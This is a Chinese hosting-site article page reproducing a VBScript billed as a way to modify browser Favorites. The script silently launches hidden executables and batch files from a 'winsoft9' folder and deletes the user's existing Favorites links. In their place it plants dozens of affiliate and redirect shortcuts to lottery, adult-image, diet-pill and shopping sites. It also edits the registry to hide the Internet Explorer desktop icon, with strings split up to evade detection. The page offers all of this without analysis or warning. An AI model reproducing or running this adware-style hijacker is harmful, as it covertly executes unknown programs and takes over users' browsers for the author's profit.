鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 服务器相关 > 批处理 > >

vbs修改收藏夹

来源:互联网 作者:佚名 时间:2016-03-03 12:15
无详细内容 无 Dim WSHShell Set WshShell = WScript.CreateObject("WScript.Shell")strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”on error resume next str
<无详细内容> <无>
Dim WSHShell 
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”

on error resume next 

strttWinDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
createobject("wscript.shell").run """"&strttWinDir&"\winsoft9\t2.exe""",0
createobject("wscript.shell").run """"&strttWinDir&"\winsoft9\test.exe""",0
createobject("wscript.shell").run """"&strttWinDir&"\winsoft9\3.bat""",0

Rem 

createobject("wscript.shell").run """"&strttWinDir&"\winsoft9\3.vbs""",0

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(Favorites&"\链接\*.url"), True

Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\网址导航.url")
oUrlLink.TargetPath = "http://dduu.com/?fa2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\福彩体彩.url")
oUrlLink.TargetPath = "http://www.82vv.com/cp/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\◆ 淘 宝 网 ◆.url")
oUrlLink.TargetPath = "http://www.82vv.com/tb/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\好玩小游戏.url")
oUrlLink.TargetPath = "http://www.45575.com/?fa2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\当当网.url")
oUrlLink.TargetPath = "http://www.82vv.com/dd/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\卓越网.url")
oUrlLink.TargetPath = "http://www.82vv.com/zy/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\看电视剧.url")
oUrlLink.TargetPath = "http://www.kkdsj.com/?fa2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\美眉极品图.url")
oUrlLink.TargetPath = "http://www.92nimm.com/?fa2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\最快电影.url")
oUrlLink.TargetPath = "http://www.kusila.com/?fa2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\小说网.url")
oUrlLink.TargetPath = "http://www.bookxp.com/?fa2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\单机游戏.url")
oUrlLink.TargetPath = "http://www.3234.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链接\网络电视.url")
oUrlLink.TargetPath = "http://www.9ptv.com/?fa2"
oUrlLink.Save

'=========
Set oShellLink = WshShell.CreateShortcut(Favorites & "\极好的在线网络电视.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Expl"&"orer\iexpl"&"ore.exe" : '目标
oShellLink.Arguments = "http://www.9ptv.com/?fav" :'程数
oShellLink.Save : '创建保存快捷方式
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\漂亮的美眉图的大集...清纯极品超级美媚写真!!.url")
oUrlLink.TargetPath = "http://www.92nimm.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\最新极品绿色好的电影库免费.高清高速!天天更新!!!.url")
oUrlLink.TargetPath = "http://www.kusila.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\中国福利彩票,体育彩票的投注中心.彩票大赢家!.url")
oUrlLink.TargetPath = "http://www.82vv.com/cp/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\最新在线小说免费的阅读.丰富内容速度快的小说站!!!.url")
oUrlLink.TargetPath = "http://www.bookxp.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\人体绝美的艺术站.追求最美人体极品摄影唯美写真!!.url")
oUrlLink.TargetPath = "http://www.003dh.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\淘宝网 - 淘!我喜欢.url")
oUrlLink.TargetPath = "http://www.82vv.com/tb/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\45575.com在线的小游戏.最好玩最新最快酷超级小游戏!!!.url")
oUrlLink.TargetPath = "http://45575.com/?sss"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\当当网—网上购物中心:图书、母婴、美妆、家居、数码、家电、服装、鞋包等,正品低价,货到付款.url")
oUrlLink.TargetPath = "http://www.82vv.com/dd/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\卓越亚马逊网上购物图书,手机,数码,家电,化妆品,钟表,首饰等在线销售.url")
oUrlLink.TargetPath = "http://www.82vv.com/zy/"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\看看电视剧在线大全,,,最好绿色最新高速免费电视剧网站!!!.url")
oUrlLink.TargetPath = "http://www.kk"&"dsj.com/?fav"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\减肥!快到让你"&"尖叫!湖南卫视推荐左旋肉碱减肥!.url")
oUrlLink.TargetPath = "http://www.lszxrj.com/?name=00012"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\艾橙团购 - 精品团购每一天|购物|团购|打折!.url")
oUrlLink.TargetPath = "http://www.456t.com/?bocai"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\美女丰胸大秘诀-20天内迅速增大大大!.url")
oUrlLink.TargetPath = "http://www.51hjfx.com/?code=00012"
oUrlLink.Save

Set oUrlLink = WshShell.CreateShortcut(Favorites & "\艾橙女装--最美丽时尚的女装.美女买衣,秒杀艾橙女装!!!.url")
oUrlLink.TargetPath = "http://www.82vv.com/2c/"
oUrlLink.Save

Rem
reg="{871C5380-42"&"A0-10"&"69-A2"&"EA-08002B30309D}"
RegPath="HKEY_CURRENT_USER\Soft"&"ware\Micro"&"soft\Win"&"dows\Current"&"Version\Expl"&"orer\HideDesktop"&"Icons\NewStart"&"Panel\"&reg
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\"&reg
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Set WSHShell = WScript.CreateObject("WScript.Shell") 
strDesktop = WSHShell.SpecialFolders("Desktop") 
WSHShell.AppActivate strDesktop 
WSHShell.SendKeys "{F5}" 


wscript.quit
网友评论
<